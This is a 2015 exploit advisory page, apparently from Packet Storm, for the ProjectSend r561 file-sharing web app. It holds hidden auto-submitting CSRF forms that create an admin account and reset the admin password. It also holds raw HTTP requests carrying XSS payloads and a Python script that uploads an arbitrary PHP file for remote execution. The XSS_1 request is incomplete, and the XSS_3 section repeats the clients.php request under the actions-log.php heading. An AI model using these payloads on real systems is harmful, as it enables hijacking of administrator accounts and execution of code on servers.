what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ProjectSend r561 CSRF / XSS / Shell Upload

ProjectSend r561 CSRF / XSS / Shell Upload
Posted Apr 28, 2015
Authored by TUNISIAN CYBER

ProjectSend version r561 suffers from cross site request forgery, cross site scripting, and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, csrf
SHA-256 | 29d896ac590fb902688a8def54fd8f901bc1d97ee250f682f184d6620674de0e
Download | Favorite | View

ProjectSend r561 CSRF / XSS / Shell Upload

Change Mirror Download
#[+] Author: TUNISIAN CYBER
#[+] Title: ProjectSend Multiple Vulnerabilities
#[+] Date: 25-04-2015
#[+] Vendor: http://www.projectsend.org/
#[+] Download:http://www.projectsend.org/download/67/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R

It's a long one so let's start...

I/ CSRF: Add Admin

<html>
<head>
<title>ProjectSend CSRF (Add User)</title>
</head>
<body>
    <form action="http://192.168.186.129/ProjectSend-r561/users-add.php" method="POST" id="CSRF" style="visibility:hidden">
      <input type="hidden" name="add_user_form_name" value="CSRF OPS" />
      <input type="hidden" name="add_user_form_user" value="TUNISIANCYBER" />
      <input type="hidden" name="add_user_form_pass" value="password" />
      <input type="hidden" name="add_user_form_email" value="pwn3d@csrf.com" />
      <input type="hidden" name="add_user_form_level" value="9" />
      <input type="hidden" name="add_user_form_active" checked="checked" />
    </form>
<script>
document.getElementById("CSRF").submit();
</script>
  </body>
</html>

0x0Proof:
http://i.imgur.com/t77Plve.png

II/ CSRF: Change Admin Password:
<html>
<head>
<title>ProjectSend CSRF (Change Password)</title>
</head>
<body>
    <form action="http://192.168.186.129/ProjectSend-r561/users-edit.php?id=1" method="POST" id="CSRF" style="visibility:hidden">
      <input type="hidden" name="add_user_form_name" value="User changed" />
      <input type="hidden" name="add_user_form_user" value="admin" />
      <input type="hidden" name="add_user_form_pass" value="password" />
      <input type="hidden" name="add_user_form_email" value="newemail@opss.net" />
      <input type="hidden" name="add_user_form_level" value="9" />
      <input type="hidden" name="add_user_form_active" checked="checked" />
    </form>
<script>
document.getElementById("CSRF").submit();
</script>
  </body>
</html>

III/ XSS_1 (index.php):
Host: 192.168.186.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: adminer_schema-check.php=temptab%3A0x0; username=%26%BB6%F6%2F%B7%E7%B4%12%13%83%0D%999J%7E%EC%26%02%84%B31%D5d%FB%B9%1F%D9%E3%10%811; password=%26%BB6%F6%2F%B7%E7%B4%12%13%83%0D%999J%7E%EC%26%02%84%B31%D5d%FB%B9%1F%D9%E3%10%811; name_db=%7F%19%E1%A3%A2%99%AF%C8%EA%86%1E%F0%3D%A3%FA%04; conn[user]=root; conn[pwd]=root; conn[chset]=utf8; PHPSESSID=6i46fls4587ntmn8juo70nl9u7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

0x0Proof:
http://i.imgur.com/TDfFDU3.png

IV/ XSS_2 (clients.php):
http://192.168.186.129/ProjectSend-r561/clients.php

POST /ProjectSend-r561/clients.php HTTP/1.1
Host: 192.168.186.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: adminer_schema-check.php=temptab%3A0x0; username=%26%BB6%F6%2F%B7%E7%B4%12%13%83%0D%999J%7E%EC%26%02%84%B31%D5d%FB%B9%1F%D9%E3%10%811; password=%26%BB6%F6%2F%B7%E7%B4%12%13%83%0D%999J%7E%EC%26%02%84%B31%D5d%FB%B9%1F%D9%E3%10%811; name_db=%7F%19%E1%A3%A2%99%AF%C8%EA%86%1E%F0%3D%A3%FA%04; conn[user]=root; conn[pwd]=root; conn[chset]=utf8; PHPSESSID=6i46fls4587ntmn8juo70nl9u7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
search=%22%3E%3Cscript%3Ealert%28%220000%22%29%3B%3C%2Fscript%3E
HTTP/1.1 200 OK
Date: Sat, 25 Apr 2015 21:15:13 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u2
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2851
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

0x0Proof:
http://i.imgur.com/ywf8JdF.png

V/XSS_3 (actions-log.php)
http://192.168.186.129/ProjectSend-r561/clients.php

POST /ProjectSend-r561/clients.php HTTP/1.1
Host: 192.168.186.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: adminer_schema-check.php=temptab%3A0x0; username=%26%BB6%F6%2F%B7%E7%B4%12%13%83%0D%999J%7E%EC%26%02%84%B31%D5d%FB%B9%1F%D9%E3%10%811; password=%26%BB6%F6%2F%B7%E7%B4%12%13%83%0D%999J%7E%EC%26%02%84%B31%D5d%FB%B9%1F%D9%E3%10%811; name_db=%7F%19%E1%A3%A2%99%AF%C8%EA%86%1E%F0%3D%A3%FA%04; conn[user]=root; conn[pwd]=root; conn[chset]=utf8; PHPSESSID=6i46fls4587ntmn8juo70nl9u7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
search=%22%3E%3Cscript%3Ealert%28%220000%22%29%3B%3C%2Fscript%3E
HTTP/1.1 200 OK
Date: Sat, 25 Apr 2015 21:15:13 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u2
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2851
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

0x0Proof:
http://i.imgur.com/cVKIhj3.png

VI/ File Upload:
(Exploit oirignally found by Fady Mohamed Osman )

Rewrittend by TUNISIAN CYBER

#!/usr/bin/env python
import requests
print"+---------------------------------------+"
print"| ProjectSend File Upload Vulnerability |"
print"+---------------------------------------+"

vuln = raw_input('Vulnerable Site:')
fname = raw_input('EvilFile:')
with open(fname, 'w') as fout:
    fout.write("<?php phpinfo() ?>")
url = vuln +'/process-upload.php' +'?name=' + fname
files = {'file': open(fname, 'rb')}
result = requests.post(url, files=files)
print "===>" +vuln+"/upload/files/"+fname
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close